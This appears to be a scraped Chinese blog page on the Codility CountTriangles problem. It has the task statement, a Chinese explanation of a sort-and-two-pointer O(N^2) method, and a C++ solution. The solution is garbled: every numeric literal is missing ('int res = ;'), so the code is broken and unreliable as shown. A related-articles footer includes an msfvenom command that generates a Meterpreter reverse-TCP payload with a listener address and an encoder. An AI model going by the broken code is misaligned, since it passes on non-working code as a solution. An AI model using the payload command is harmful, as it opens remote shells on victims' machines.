A zero-indexed array A consisting of N integers is given. A triplet (P, Q, R) is triangular if it is possible to build a triangle with sides of lengths A[P], A[Q] and A[R]. In other words, triplet (P, Q, R) is triangular if 0 ≤ P < Q < R < N and:

  • A[P] + A[Q] > A[R],
  • A[Q] + A[R] > A[P],
  • A[R] + A[P] > A[Q].

For example, consider array A such that:

  1. A[0] = 10 A[1] = 2 A[2] = 5
  2. A[3] = 1 A[4] = 8 A[5] = 12

There are four triangular triplets that can be constructed from elements of this array, namely (0, 2, 4), (0, 2, 5), (0, 4, 5), and (2, 4, 5).

Write a function:

int solution(vector<int> &A);

that, given a zero-indexed array A consisting of N integers, returns the number of triangular triplets in this array.

For example, given array A such that:

  1. A[0] = 10 A[1] = 2 A[2] = 5
  2. A[3] = 1 A[4] = 8 A[5] = 12

the function should return 4, as explained above.

Assume that:

  • N is an integer within the range [0..1,000];
  • each element of array A is an integer within the range [1..1,000,000,000].

Complexity:

  • expected worst-case time complexity is O(N2);
  • expected worst-case space complexity is O(N), beyond input storage (not counting the storage required for input arguments).

给定正整数数组A,长度为N,下标从0开始,求(P,Q,R),满足0<=P<Q<R<N 并且 A[P] + A[Q] > A[R], A[Q] + A[R] > A[P], A[P] + A[R] > A[Q]的三元组个数。

数据范围 N [0..1000], 数组元素[1..10^9]。

要求复杂度 时间O(N ^ 2) ,空间 O(1)。

分析: 显然我们不能枚举……我们可以把数组排序 O(NlogN),甚至O(N^2)的排序都可以。然后还是枚举,只不过枚举两条较小的边A[x] , A[y], 然后我们考虑最大边A[z],设想假设我们固定x, 当y变大时A[x] + A[y]也变大,我们需要A[x] + A[y] > A[z], y变大之前的那些z值现在依然也满足条件,所以我们只要接着上次满足条件的最大的z,继续循环就可以了。所以对于同一个x来说,y和z的变化都是O(N)的。总复杂度O(N^2)。

  1. // you can use includes, for example:
  2. #include <algorithm>
  3.  
  4. // you can write to stdout for debugging purposes, e.g.
  5. // cout << "this is a debug message" << endl;
  6.  
  7. int solution(vector<int> &A) {
  8. // write your code in C++11
  9. sort(A.begin(), A.end());
  10. int a, b, c;
  11. int res = ;
  12. for (a = ; a < (int)A.size() - ; ++a) {
  13. c = a + ;
  14. for (b = a + ; b < (int)A.size() - ; ++b) {
  15. for (c = max(c, b + ); c < A.size() && A[a] + A[b] > A[c]; ++c);
  16. res += c - b - ;
  17. }
  18. }
  19. return res;
  20. }

[Codility] CountTriangles的更多相关文章

  1. Codility NumberSolitaire Solution

    1.题目: A game for one player is played on a board consisting of N consecutive squares, numbered from ...

  2. codility flags solution

    How to solve this HARD issue 1. Problem: A non-empty zero-indexed array A consisting of N integers i ...

  3. GenomicRangeQuery /codility/ preFix sums

    首先上题目: A DNA sequence can be represented as a string consisting of the letters A, C, G and T, which ...

  4. *[codility]Peaks

    https://codility.com/demo/take-sample-test/peaks http://blog.csdn.net/caopengcs/article/details/1749 ...

  5. *[codility]Country network

    https://codility.com/programmers/challenges/fluorum2014 http://www.51nod.com/onlineJudge/questionCod ...

  6. *[codility]AscendingPaths

    https://codility.com/programmers/challenges/magnesium2014 图形上的DP,先按照路径长度排序,然后依次遍历,状态是使用到当前路径为止的情况:每个 ...

  7. *[codility]MaxDoubleSliceSum

    https://codility.com/demo/take-sample-test/max_double_slice_sum 两个最大子段和相拼接,从前和从后都扫一遍.注意其中一段可以为0.还有最后 ...

  8. *[codility]Fish

    https://codility.com/demo/take-sample-test/fish 一开始习惯性使用单调栈,后来发现一个普通栈就可以了. #include <stack> us ...

  9. *[codility]CartesianSequence

    https://codility.com/programmers/challenges/upsilon2012 求笛卡尔树的高度,可以用单调栈来做. 维持一个单调递减的栈,每次进栈的时候记录下它之后有 ...

随机推荐

  1. 云端软件平台 封装了诺基亚PC套件无法找到驱动怎么办

    1 在设备管理器中可以看到你的手机驱动器位感叹号. 2 右键→更新驱动程序→从列表指定位置安装→搜索位置选择C:\ProgramFiles\Nokia\ConnectivityCableDriver ...

  2. 配置Tomcat和JDK

    第一步:下载jdk和tomcat 第二步:安装和配置你的j2sdk和tomcat:执行j2sdk和tomcat的安装程序,然后按默认设置进行安装即可. 1.安装j2sdk以后,需要配置一下环境变量,在 ...

  3. ZH奶酪:PHP图片压缩(TinyPNG在线API)和(使用Imagick扩展)

    1.调用TinyPng网站提供的API 1.1.须知 (1)tinypng的官网:https://tinypng.com/ 不知道国内访问会不会很慢,在Singapore打开这个网站很流畅: (2)A ...

  4. Silverlight 之 新建项目解析

    新建一个silverlight项目(项目名称为SilverlightTest)后,若在" 新建Silverlight应用程序窗口 " 勾选 " 在新网站中承载Silver ...

  5. Android 四大组件之 Service(一)

    Service是Android中四大组件之一,在Android开发中起到非常重要的作用,它运行在后台,不与用户进行交互. 1.Service的继承关系: java.lang.Object → andr ...

  6. php之快速入门学习-3(print和echo)

    PHP echo 和 print 语句 echo 和 print 区别: echo - 可以输出一个或多个字符串 print - 只允许输出一个字符串,返回值总为 1 提示:echo 输出的速度比 p ...

  7. js条件语句之职责链数组

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  8. msf payload

    #clientmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.106 LPORT=9999 -e x86/shikata_ga_ ...

  9. tensorflow serving GPU编译问题

    编译gpu版本:bazel build -c opt --config=cuda --spawn_strategy=standalone //tensorflow_serving/model_serv ...

  10. python之函数用法execfile()

    # -*- coding: utf-8 -*- #python 27 #xiaodeng #python之函数用法execfile() #execfile() #说明:用来执行一个文件,相对于双击的效 ...